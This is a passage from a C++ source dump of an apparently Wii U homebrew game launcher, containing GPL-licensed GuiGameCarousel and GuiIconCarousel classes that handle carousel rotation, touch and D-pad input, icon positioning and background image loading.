!controller->lastData.validPointer) { bWasDragging = false; return; } f32 degreeAdd = lastTouchDifference * 0.128f; if(fabsf(degreeAdd) < 2.0f) { selectedGame = listOffset; if(bWasDragging && selectedGameOnDragStart != selectedGame) { setSelectedGame(selectedGame); gameSelectionChanged(this, selectedGame); } // if we ever want that the circle is always centered after dragging, comment this in // destDegree = circleStartDegree; bWasDragging = false; return; } selectedGame = selectedGame - (degreeAdd + 0.5f); if(bFullCircleMode) { while(selectedGame < 0) selectedGame += GameList::instance()->size(); while(selectedGame >= GameList::instance()->size()) selectedGame -= GameList::instance()->size(); } else { if(selectedGame >= GameList::instance()->size()) selectedGame = GameList::instance()->size() - 1; if(selectedGame < 0) selectedGame = 0; } if(selectedGame != selectedGameOnDragStart) { forceRotateDirection = (lastTouchDifference > 0) ? -1 : 1; setSelectedGame(selectedGame); gameSelectionChanged(this, selectedGame); } else { forceRotateDirection = 0; } circleSpeedMax = 10.0f; refreshDrawMap = true; bWasDragging = false; } void GuiGameCarousel::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(trigger == &buttonATrigger) { //! do not auto launch when wiimote is pointing to screen and presses A if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer) { return; } OnLaunchClick(button,controller,trigger); } else if(trigger == &buttonLTrigger){ OnLeftSkipClick(button,controller,trigger); } else if(trigger == &buttonRTrigger){ OnRightSkipClick(button,controller,trigger); } else if(trigger == &buttonLeftTrigger){ OnLeftClick(button,controller,trigger); } else if(trigger == &buttonRightTrigger){ OnRightClick(button,controller,trigger); } } void GuiGameCarousel::OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(pagesize == 0) return; int sel = getSelectedGame() - 1; if(sel < 0) { if(bFullCircleMode) sel = GameList::instance()->size() - 1; else sel = 0; } if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiGameCarousel::OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(pagesize == 0) return; int sel = getSelectedGame() + 1; if(sel >= (int)GameList::instance()->size()) sel = bFullCircleMode ? 0 : (GameList::instance()->size() - 1); if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiGameCarousel::OnRightSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(pagesize == 0) return; int sel = getSelectedGame() + 5; if(sel >= GameList::instance()->size()) { if(bFullCircleMode) sel -= GameList::instance()->size(); else sel = GameList::instance()->size() - 1; } if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiGameCarousel::OnLeftSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(pagesize == 0) return; int sel = getSelectedGame() - 5; if(sel < 0) { if(bFullCircleMode) sel += GameList::instance()->size(); else sel = 0; } if(sel != getSelectedGame()) { setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiGameCarousel::loadBgImage(int idx) { if(idx < 0 || idx >= GameList::instance()->size()) return; std::string filepath = GameList::instance()->at(idx)->gamepath + META_PATH + "/bootTvTex.tga"; //! remove image that is possibly still loading //! TODO: fix (state != STATE_DISABLED) its a cheap trick to make the thread not create new images when fading out because it causes issues if(bgNewImageDataAsync && !isStateSet(STATE_DISABLED)) { GuiImageAsync::removeFromQueue(bgNewImageDataAsync); AsyncDeleter::pushForDelete(bgNewImageDataAsync); bgNewImageDataAsync = new GuiImageAsync(filepath, NULL); } else { delete bgNewImageDataAsync; bgNewImageDataAsync = new GuiImageAsync(filepath, NULL); } } void GuiGameCarousel::OnBgEffectFinished(GuiElement *element) { if(element == bgFadingImageDataAsync) { remove(bgFadingImageDataAsync); AsyncDeleter::pushForDelete(bgFadingImageDataAsync); bgFadingImageDataAsync = NULL; } } void GuiGameCarousel::updateDrawMap(void) { const int carousel_x = 0; const int carousel_y = -RADIUS + 80; std::multimap drawMap; std::multimap::iterator itr; for(int i = 0; i < pagesize; i++) { float setDegree = (currDegree - DEG_OFFSET * i); float rotationAngle = 90.0f - setDegree; float posX = (RADIUS * cosf(DegToRad(setDegree)) + 0.5f); float posY = (RADIUS * sinf(DegToRad(setDegree)) + 0.5f); game[i]->setPosition(carousel_x + posX, carousel_y + posY); game[i]->setAngle(rotationAngle); drawMap.insert(std::pair(posY, i)); } int n = 0; for(itr = drawMap.begin(); itr != drawMap.end(); itr++) { drawOrder[n++] = itr->second; int gameIndex = getGameIndex(listOffset, itr->second); if(gameIndex >= GameList::instance()->size()) gameIndex -= GameList::instance()->size(); coverImg[gameIndex]->setColorIntensity(glm::vec4(0.6f, 0.6f, 0.6f, 1.0f)); } if(drawOrder.size()) { int lastIdx = drawOrder[ drawOrder.size() - 1 ]; int gameIndex = getGameIndex(listOffset, lastIdx); coverImg[gameIndex]->setColorIntensity(glm::vec4(1.0f)); gameTitle.setText(GameList::instance()->at(gameIndex)->name.c_str()); } } int GuiGameCarousel::getGameIndex(int listOffset, int idx) { if(pagesize == 0) return 0; int gameIndex = idx; if(bFullCircleMode) { gameIndex += listOffset - (pagesize >> 1); } while(gameIndex < 0) gameIndex += GameList::instance()->size(); while(gameIndex >= GameList::instance()->size()) gameIndex -= GameList::instance()->size(); return gameIndex; } /** * Draw the button on screen */ void GuiGameCarousel::draw(CVideo *v) { if(bgNewImageDataAsync && bgNewImageDataAsync->getImageData() && !bgFadingImageDataAsync) { if(bgUsedImageDataAsync) { bgFadingImageDataAsync = bgUsedImageDataAsync; bgFadingImageDataAsync->setEffect(EFFECT_FADE, -10, 0); bgFadingImageDataAsync->effectFinished.connect(this, &GuiGameCarousel::OnBgEffectFinished); } bgUsedImageDataAsync = bgNewImageDataAsync; bgNewImageDataAsync = NULL; bgUsedImageDataAsync->setColorIntensity(glm::vec4(0.5f, 0.5f, 0.5f, 1.0f)); bgUsedImageDataAsync->setParent(this); bgUsedImageDataAsync->setEffect(EFFECT_FADE, 5, 255); insert(bgUsedImageDataAsync, 0); } bool bAnimationFinished = false; bool bUpdateButtonPositions = false; if((currDegree - 0.5f) > destDegree) { f32 gameDistance = fabsf(selectedGame - listOffset); f32 dynamicDegreeDistance = (DEG_OFFSET - fabsf(destDegree - currDegree)); if(gameDistance > (GameList::instance()->size() >> 1)) gameDistance = GameList::instance()->size() - gameDistance; f32 angleDistance = gameDistance * DEG_OFFSET - dynamicDegreeDistance; if(startRotationDistance == 0.0f) startRotationDistance = angleDistance; currDegree -= circleRotationSpeed; circleRotationSpeed = 8.0f * angleDistance / startRotationDistance; if(circleRotationSpeed < circleSpeedMin) circleRotationSpeed = circleSpeedMin; if(circleRotationSpeed > circleSpeedMax) circleRotationSpeed = circleSpeedMax; if(currDegree < destDegree) currDegree = destDegree; refreshDrawMap = true; } else if((currDegree + 0.5f) < destDegree) { f32 gameDistance = fabsf(selectedGame - listOffset); f32 dynamicDegreeDistance = (DEG_OFFSET - fabsf(destDegree - currDegree)); if(gameDistance > (GameList::instance()->size() >> 1)) gameDistance = GameList::instance()->size() - gameDistance; f32 angleDistance = gameDistance * DEG_OFFSET - dynamicDegreeDistance; if(startRotationDistance == 0.0f) startRotationDistance = angleDistance; currDegree += circleRotationSpeed; circleRotationSpeed = 8.0f * angleDistance / startRotationDistance; if(circleRotationSpeed < circleSpeedMin) circleRotationSpeed = circleSpeedMin; if(circleRotationSpeed > circleSpeedMax) circleRotationSpeed = circleSpeedMax; if(currDegree > destDegree) currDegree = destDegree; refreshDrawMap = true; } else { bAnimationFinished = bAnimating; bAnimating = false; } if(refreshDrawMap) { refreshDrawMap = false; updateDrawMap(); } GuiGameBrowser::draw(v); for(u32 i = 0; i < drawOrder.size(); i++) { int idx = drawOrder[i]; game[idx]->draw(v); } if(bWasDragging) { if(bFullCircleMode) { if(currDegree > (circleStartDegree + DEG_OFFSET * 0.5f)) { currDegree -= DEG_OFFSET; destDegree -= DEG_OFFSET; selectedGame++; if(selectedGame >= GameList::instance()->size()) { selectedGame -= GameList::instance()->size(); } listOffset = selectedGame; bUpdateButtonPositions = true; rotateDirection = 0; } else if(currDegree < (circleStartDegree - DEG_OFFSET * 0.5f)) { currDegree += DEG_OFFSET; destDegree += DEG_OFFSET; selectedGame--; if(selectedGame < 0) { selectedGame += GameList::instance()->size(); } listOffset = selectedGame; bUpdateButtonPositions = true; rotateDirection = 0; } } else { selectedGame = (currDegree - circleCenterDegree) / DEG_OFFSET + 0.5f; listOffset = selectedGame; } } if(!bAnimating && (listOffset != selectedGame || bAnimationFinished || bUpdateButtonPositions)) { if(bUpdateButtonPositions || bAnimationFinished) { if(rotateDirection > 0) { listOffset++; } else if(rotateDirection < 0) { listOffset--; } if(listOffset < 0) { listOffset += GameList::instance()->size(); } if(listOffset >= GameList::instance()->size()) { listOffset -= GameList::instance()->size(); } for(int i = 0; i < pagesize; i++) { int idx = getGameIndex(listOffset, i); if(idx < 0) { idx += GameList::instance()->size(); } if(idx >= GameList::instance()->size()) { idx -= GameList::instance()->size(); } game[i]->setImage(coverImg[idx]); } if(bAnimationFinished) { destDegree = bFullCircleMode ? circleStartDegree : (circleCenterDegree + listOffset * DEG_OFFSET); currDegree = destDegree; } refreshDrawMap = true; } rotateDirection = 0; if(listOffset < selectedGame) { if(forceRotateDirection) rotateDirection = forceRotateDirection; else if(!bFullCircleMode) rotateDirection = 1; else rotateDirection = ((selectedGame - listOffset) > (GameList::instance()->size() >> 1)) ? -1 : 1; } else if(listOffset > selectedGame) { if(forceRotateDirection) rotateDirection = forceRotateDirection; else if(!bFullCircleMode) rotateDirection = -1; else rotateDirection = ((listOffset - selectedGame) > (GameList::instance()->size() >> 1)) ? 1 : -1; } if(rotateDirection > 0) { destDegree += DEG_OFFSET; bAnimating = true; rotateDirection = 1; } else if(rotateDirection < 0) { destDegree -= DEG_OFFSET; bAnimating = true; rotateDirection = -1; } else { startRotationDistance = 0.0f; forceRotateDirection = 0; } bUpdateButtonPositions = false; } } void GuiGameCarousel::update(GuiController * c) { if (isStateSet(STATE_DISABLED) || !pagesize) return; GuiGameBrowser::update(c); for(u32 i = 0; i < drawOrder.size(); i++) { int idx = drawOrder[i]; game[idx]->update(c); } } void GuiGameCarousel::updateEffects() { gameLaunchTimer++; if(touchClickDelay) touchClickDelay--; GuiGameBrowser::updateEffects(); for(u32 i = 0; i < drawOrder.size(); i++) { int idx = drawOrder[i]; game[idx]->updateEffects(); } } ================================================ FILE: src/gui/GuiGameCarousel.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _GUIGAMECAROUSEL_H_ #define _GUIGAMECAROUSEL_H_ #include #include "GuiImageAsync.h" #include "GuiGameBrowser.h" #include "GuiImage.h" #include "GuiText.h" #include "GuiParticleImage.h" class GuiGameCarousel : public GuiGameBrowser, public sigslot::has_slots<> { public: GuiGameCarousel(int w, int h, int GameIndex); virtual ~GuiGameCarousel(); void setSelectedGame(int idx); int getSelectedGame(); void refresh(); void draw(CVideo *v); void update(GuiController * c); void updateEffects(); protected: void OnGameButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnTouchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnTouchHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnTouchRelease(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnLeftSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnRightSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnLaunchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { gameLaunchClicked(this, getSelectedGame()); } void OnBgEffectFinished(GuiElement *element); void updateDrawMap(void); void loadBgImage(int idx); int getGameIndex(int listOffset, int idx); bool refreshDrawMap; bool bAnimating; bool bWasDragging; bool bWasSwapped; bool bFullCircleMode; bool bPageSizeEven; int rotateDirection; int forceRotateDirection; int selectedGame; int selectedGameOnDragStart; int listOffset; int pagesize; POINT lastPosition; int lastTouchDifference; int touchClickDelay; u32 gameLaunchTimer; f32 circleCenterDegree; f32 circleStartDegree; f32 circleRotationSpeed; f32 circleSpeedMin; f32 circleSpeedMax; f32 startRotationDistance; GuiSound *buttonClickSound; GuiImageData noCover; std::vector game; std::vector coverImg; std::vector drawOrder; f32 currDegree; f32 destDegree; GuiText gameTitle; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger buttonATrigger; GuiTrigger buttonLTrigger; GuiTrigger buttonRTrigger; GuiTrigger buttonLeftTrigger; GuiTrigger buttonRightTrigger; GuiButton touchButton; GuiButton DPADButtons; GuiParticleImage particleBgImage; GuiImageAsync *bgUsedImageDataAsync; GuiImageAsync *bgNewImageDataAsync; GuiImageAsync *bgFadingImageDataAsync; }; #endif ================================================ FILE: src/gui/GuiIconCarousel.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiIconCarousel.h" #include "GuiController.h" #include "common/common.h" #include "Application.h" #include "video/CVideo.h" #include "game/GameList.h" #include "resources/Resources.h" static const float RADIUS = 0.9f; static const float radiusScale = 1.0f; // 1:1 game static const float Yoffset = 0.04f; static const float cam_X_rot = 25.0f; static const float fIconRgbDrop = 0.395f; static const float fOpacy = 1.0f; GuiIconCarousel::GuiIconCarousel(int w, int h, int GameIndex) : GuiGameBrowser(w, h, GameIndex) , buttonClickSound(Resources::GetSound("button_click.mp3")) , bgGridData(Resources::GetFile("bgGridTile.png"), Resources::GetFileSize("bgGridTile.png"), GX2_TEX_CLAMP_WRAP) , bgGrid(&bgGridData) , noIcon(Resources::GetFile("noGameIcon.png"), Resources::GetFileSize("noGameIcon.png"), GX2_TEX_CLAMP_MIRROR) , bgUsedImageDataAsync(NULL) , bgNewImageDataAsync(NULL) , bgFadingImageDataAsync(NULL) , gameTitle((char*)NULL, 52, glm::vec4(1.0f)) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true) , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true) , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true) , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true) , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true) , touchButton(w, h) , DPADButtons(w, h) { m_modelView = glm::mat4(1.0f); circlePosition = 0.0f; bUpdateMap = true; gameLaunchTimer = 60; touchClickDelay = 0; selectedGame = GameIndex; selectedGameOnDragStart = 0; bWasDragging = false; circleRadius = RADIUS * GameList::instance()->size() / 12.0f; circlePosition = 0.0f; circleTargetPosition = 0.0f; circleRotationSpeed = 0.0f; lastTouchDifference = 0.0f; startRotationDistance = 0.0f; circleSpeedLimit = 1.8f; bgGrid.setScale(0.25f); append(&bgGrid); touchButton.setClickable(true); touchButton.setHoldable(true); touchButton.setTrigger(&touchTrigger); touchButton.setTrigger(&wpadTouchTrigger); touchButton.clicked.connect(this, &GuiIconCarousel::OnTouchClick); touchButton.held.connect(this, &GuiIconCarousel::OnTouchHold); touchButton.released.connect(this, &GuiIconCarousel::OnTouchRelease); append(&touchButton); DPADButtons.setTrigger(&buttonATrigger); DPADButtons.setTrigger(&buttonLTrigger); DPADButtons.setTrigger(&buttonRTrigger); DPADButtons.setTrigger(&buttonLeftTrigger); DPADButtons.setTrigger(&buttonRightTrigger); DPADButtons.clicked.connect(this, &GuiIconCarousel::OnDPADClick); append(&DPADButtons); for(int i = 0; i < GameList::instance()->size(); i++) { std::string filepath = GameList::instance()->at(i)->gamepath + META_PATH + "/iconTex.tga"; GameIcon *icon = new GameIcon(filepath, &noIcon); icon->setParent(this); gameIcons.push_back(icon); drawOrder.push_back(i); append(icon); } gameTitle.setPosition(0, -320); gameTitle.setBlurGlowColor(16.0f, glm::vec4(0.109804, 0.6549, 1.0f, 1.0f)); gameTitle.setMaxWidth(900, GuiText::DOTTED); append(&gameTitle); circleTargetPosition = 360.0f - GameIndex * 360.0f / (radiusScale * gameIcons.size()); circlePosition = circleTargetPosition; setSelectedGame(selectedGame); } GuiIconCarousel::~GuiIconCarousel() { AsyncDeleter::pushForDelete(bgFadingImageDataAsync); AsyncDeleter::pushForDelete(bgUsedImageDataAsync); AsyncDeleter::pushForDelete(bgNewImageDataAsync); for(size_t i = 0; i < gameIcons.size(); i++) { delete gameIcons[i]; } Resources::RemoveSound(buttonClickSound); } void GuiIconCarousel::OnBgEffectFinished(GuiElement *element) { if(element == bgFadingImageDataAsync) { remove(bgFadingImageDataAsync); AsyncDeleter::pushForDelete(bgFadingImageDataAsync); bgFadingImageDataAsync = NULL; } } int GuiIconCarousel::getSelectedGame() { return selectedGame; } void GuiIconCarousel::setSelectedGame(int selectedIdx) { if(selectedIdx < 0 || selectedIdx >= (int)drawOrder.size()) return; //! normalize to 360° circlePosition = ((int)(circlePosition + 0.5f)) % 360; if(circlePosition < 0.0f) circlePosition += 360.0f; circleTargetPosition = 360.0f - selectedIdx * 360.0f / (radiusScale * gameIcons.size()); f32 angleDiff = (circleTargetPosition - circlePosition); if(angleDiff > 180.0f) circleTargetPosition -= 360.0f; else if(angleDiff < -180.0f) circleTargetPosition += 360.0f; bUpdateMap = true; touchClickDelay = 20; circleSpeedLimit = 1.8f; } void GuiIconCarousel::OnTouchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(!controller->data.validPointer) return; bWasDragging = false; selectedGameOnDragStart = getSelectedGame(); lastPosition.x = controller->data.x; lastPosition.y = controller->data.y; //! calculate ray origin and direction glm::vec3 rayOrigin; glm::vec3 rayDir; CVideo *video = Application::instance()->getVideo(); video->screenPosToWorldRay(controller->data.x, controller->data.y, rayOrigin, rayDir); glm::vec3 rayDirFrac((rayDir.x != 0.0f) ? (1.0f / rayDir.x) : 0.0f, (rayDir.y != 0.0f) ? (1.0f / rayDir.y) : 0.0f, (rayDir.z != 0.0f) ? (1.0f / rayDir.z) : 0.0f); for(u32 i = 0; i < drawOrder.size(); ++i) { int idx = drawOrder[i]; if(gameIcons[idx]->checkRayIntersection(rayOrigin, rayDirFrac)) { if(buttonClickSound) buttonClickSound->Play(); setSelectedGame(idx); gameSelectionChanged(this, idx); //! TODO: change this to a button assigned image gameIcons[idx]->setState(STATE_CLICKED); gameIcons[idx]->setEffect(EFFECT_SCALE, 4, 125); if(selectedGame == idx) { if(gameLaunchTimer < 30) OnLaunchClick(button, controller, trigger); gameLaunchTimer = 0; } } } } void GuiIconCarousel::OnTouchHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(!controller->data.validPointer) return; lastTouchDifference = ((int)controller->data.x - (int)lastPosition.x); f32 degreeAdd = lastTouchDifference * 0.128f; if(touchClickDelay || fabsf(degreeAdd) < 0.5f) { return; } circlePosition -= degreeAdd; circleTargetPosition = circlePosition; lastPosition.x = controller->data.x; lastPosition.y = controller->data.y; bUpdateMap = true; bWasDragging = true; } void GuiIconCarousel::OnTouchRelease(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(!controller->lastData.validPointer) return; for(size_t i = 0; i < gameIcons.size(); ++i) { if(gameIcons[i]->isStateSet(STATE_CLICKED)) { gameIcons[i]->setEffect(EFFECT_SCALE, -4, 100); gameIcons[i]->clearState(STATE_CLICKED); } } f32 degreeAdd = lastTouchDifference * 0.128f; if(touchClickDelay || fabsf(degreeAdd) < 2.0f) { updateDrawMap(); if(bWasDragging && selectedGameOnDragStart != selectedGame) { setSelectedGame(selectedGame); gameSelectionChanged(this, selectedGame); } return; } circlePosition = ((int)(circlePosition + 0.5f)) % 360; if(circlePosition < 0.0f) circlePosition += 360.0f; f32 partDegree = 360.0f / (radiusScale * gameIcons.size()); circleTargetPosition = circlePosition - 0.5f * degreeAdd * partDegree; //! round to nearest game position at the target position circleTargetPosition = ((int)(circleTargetPosition / partDegree + 0.5f)) * partDegree; circleSpeedLimit = 10.0f; int iItem = 0; f32 zMax = -9999.9f; for(u32 i = 0; i < gameIcons.size(); i++) { float currDegree = DegToRad(360.0f / (radiusScale * gameIcons.size()) * i + circleTargetPosition + 90.0f); float posZ = radiusScale * circleRadius * sinf(currDegree) + RADIUS - gameIcons.size() * (RADIUS / 12.0f); if(zMax < posZ) { iItem = i; zMax = posZ; } } selectedGame = iItem; gameSelectionChanged(this, selectedGame); } void GuiIconCarousel::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(trigger == &buttonATrigger){ //! do not auto launch when wiimote is pointing to screen and presses A if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer) { return; } OnLaunchClick(button,controller,trigger); } else if(trigger == &buttonLTrigger){ OnLeftSkipClick(button,controller,trigger); } else if(trigger == &buttonRTrigger){ OnRightSkipClick(button,controller,trigger); } else if(trigger == &buttonLeftTrigger){ OnLeftClick(button,controller,trigger); } else if(trigger == &buttonRightTrigger){ OnRightClick(button,controller,trigger); } } void GuiIconCarousel::OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { int sel = getSelectedGame() + 1; if(sel >= (int)GameList::instance()->size()) sel = 0; setSelectedGame(sel); gameSelectionChanged(this, sel); } void GuiIconCarousel::OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { int sel = getSelectedGame() - 1; if(sel < 0 && (GameList::instance()->size() > 1)) sel = GameList::instance()->size() - 1; setSelectedGame(sel); gameSelectionChanged(this, sel); } void GuiIconCarousel::OnLeftSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if((int)GameList::instance()->size() > 5){ int sel = getSelectedGame() + 5; if(sel >= (int)GameList::instance()->size()) sel -= (int)GameList::instance()->size(); setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiIconCarousel::OnRightSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if((int)GameList::instance()->size() > 5){ int sel = getSelectedGame() - 5; if(sel < 0 && (GameList::instance()->size() > 5)) sel += GameList::instance()->size(); setSelectedGame(sel); gameSelectionChanged(this, sel); } } void GuiIconCarousel::updateDrawMap(void) { //! create a multimap of Z position which will sort the items by z coordinate std::multimap< float, std::pair > drawMap; std::multimap< float, std::pair >::const_iterator itr; size_t i; for(i = 0; i < gameIcons.size(); i++) { int idx = i; float currDegree = DegToRad(360.0f / (radiusScale * gameIcons.size()) * i + circlePosition + 90.0f); float posX = radiusScale * circleRadius * cosf(currDegree); float posZ = radiusScale * circleRadius * sinf(currDegree) + RADIUS - gameIcons.size() * (RADIUS / 12.0f); drawMap.insert(std::pair >(posZ, std::pair(posX, i))); float rgbReduction = std::min((circleRadius + posZ / 2.0f + fIconRgbDrop) / (2.0f * circleRadius), 1.0f); if(rgbReduction < 0.0f) rgbReduction = 0.0f; float alphaReduction = std::min((circleRadius + posZ + fOpacy * (circleRadius * 2.0f)) / (2.0f * circleRadius), 1.0f); if(alphaReduction < 0.0f) alphaReduction = 0.0f; gameIcons[idx]->setColorIntensity(glm::vec4(rgbReduction, rgbReduction, rgbReduction, 1.0f)); gameIcons[idx]->setAlpha(alphaReduction); gameIcons[idx]->setRenderReflection(true); gameIcons[idx]->setRotationX(-cam_X_rot); gameIcons[idx]->setPosition(posX * width * 0.5f, Yoffset * height * 0.5f, posZ * width * 0.5f); } for(itr = drawMap.begin(), i = 0; itr != drawMap.end(); i++, itr++) { int idx = itr->second.second; itr++; bool bSelected = (itr == drawMap.end()); itr--; if(!bSelected) { float rgbReduction = 0.8f; glm::vec4 intensity = gameIcons[idx]->getColorIntensity(); gameIcons[idx]->setColorIntensity(glm::vec4(rgbReduction * intensity[0], rgbReduction * intensity[1], rgbReduction * intensity[2], intensity[3])); } else { gameTitle.setText(GameList::instance()->at(idx)->name.c_str()); if(selectedGame != idx || !bgUsedImageDataAsync) { selectedGame = idx; std::string filepath = GameList::instance()->at(idx)->gamepath + META_PATH + "/bootTvTex.tga"; //! remove image that is possibly still loading //! TODO: fix (state != STATE_DISABLED) its a cheap trick to make the thread not create new images when fading out because it causes issues //! TODO: this is probably not needed anymore -> verify if(bgNewImageDataAsync && !isStateSet(STATE_DISABLED)) { GuiImageAsync::removeFromQueue(bgNewImageDataAsync); AsyncDeleter::pushForDelete(bgNewImageDataAsync); bgNewImageDataAsync = new GameBgImage(filepath, NULL); } else { delete bgNewImageDataAsync; bgNewImageDataAsync = new GameBgImage(filepath, NULL); } } glm::vec4 intensity = gameIcons[idx]->getColorIntensity(); gameIcons[idx]->setColorIntensity(glm::vec4(intensity[0], intensity[1], intensity[2], 1.2f * intensity[3])); } drawOrder[i] = idx; gameIcons[idx]->setSelected(bSelected); } } void GuiIconCarousel::draw(CVideo *pVideo, const glm::mat4 & modelView) { if(!this->isVisible()) return; if(bUpdateMap) { bUpdateMap = false; updateDrawMap(); } if(bgNewImageDataAsync && bgNewImageDataAsync->getImageData() && !bgFadingImageDataAsync) { if(bgUsedImageDataAsync) { bgFadingImageDataAsync = bgUsedImageDataAsync; bgFadingImageDataAsync->setEffect(EFFECT_FADE, -10, 0); bgFadingImageDataAsync->effectFinished.connect(this, &GuiIconCarousel::OnBgEffectFinished); } bgUsedImageDataAsync = bgNewImageDataAsync; bgNewImageDataAsync = NULL; bgUsedImageDataAsync->setEffect(EFFECT_FADE, 5, 255); append(bgUsedImageDataAsync); } pVideo->setStencilRender(true); if(bgUsedImageDataAsync) bgUsedImageDataAsync->draw(pVideo); if(bgFadingImageDataAsync) bgFadingImageDataAsync->draw(pVideo); bgGrid.draw(pVideo, modelView); pVideo->setStencilRender(false); for(size_t i = 0; i < drawOrder.size(); ++i) { size_t idx = drawOrder[i]; gameIcons[idx]->draw(pVideo, pVideo->getProjectionMtx(), pVideo->getViewMtx(), modelView); } gameTitle.draw(pVideo); if(touchClickDelay) { touchClickDelay--; } gameLaunchTimer++; } void GuiIconCarousel::updateEffects() { if((circlePosition - 0.5f) > circleTargetPosition) { if(startRotationDistance == 0.0f) startRotationDistance = fabsf(circleTargetPosition - circlePosition); circlePosition -= circleRotationSpeed; f32 angleDistance = fabsf(circleTargetPosition - circlePosition); circleRotationSpeed = 8.0f * angleDistance / startRotationDistance; if(circleRotationSpeed > circleSpeedLimit) circleRotationSpeed = circleSpeedLimit; if(angleDistance < circleRotationSpeed) circlePosition = circleTargetPosition; bUpdateMap = true; } else if((circlePosition + 0.5f) < circleTargetPosition) { if(startRotationDistance == 0.0f) startRotationDistance = fabsf(circleTargetPosition - circlePosition); circlePosition += circleRotationSpeed; f32 angleDistance = fabsf(circleTargetPosition - circlePosition); circleRotationSpeed = 8.0f * angleDistance / startRotationDistance; if(circleRotationSpeed > circleSpeedLimit) circleRotationSpeed = circleSpeedLimit; if(angleDistance < circleRotationSpeed) circlePosition = circleTargetPosition; bUpdateMap = true; } else { startRotationDistance = 0.0f; } GuiGameBrowser::updateEffects(); } ================================================ FILE: src/gui/GuiIconCarousel.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _GUI_ICON_CAROUSEL_H_ #define _GUI_ICON_CAROUSEL_H_ #include #include "GuiFrame.h" #include "GuiButton.h" #include "GuiGameBrowser.h" #include "GameIcon.h" #include "GameBgImage.h" #include "GridBackground.h" class GuiIconCarousel : public GuiGameBrowser, public sigslot::has_slots<> { public: GuiIconCarousel(int w, int h, int GameIndex); virtual ~GuiIconCarousel(); void setSelectedGame(int idx); int getSelectedGame(void); void draw(CVideo *pVideo) { draw(pVideo, m_modelView); } void draw(CVideo *pVideo, const glm::mat4 & modelView); void updateEffects(); private: void OnTouchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnTouchHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnTouchRelease(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void 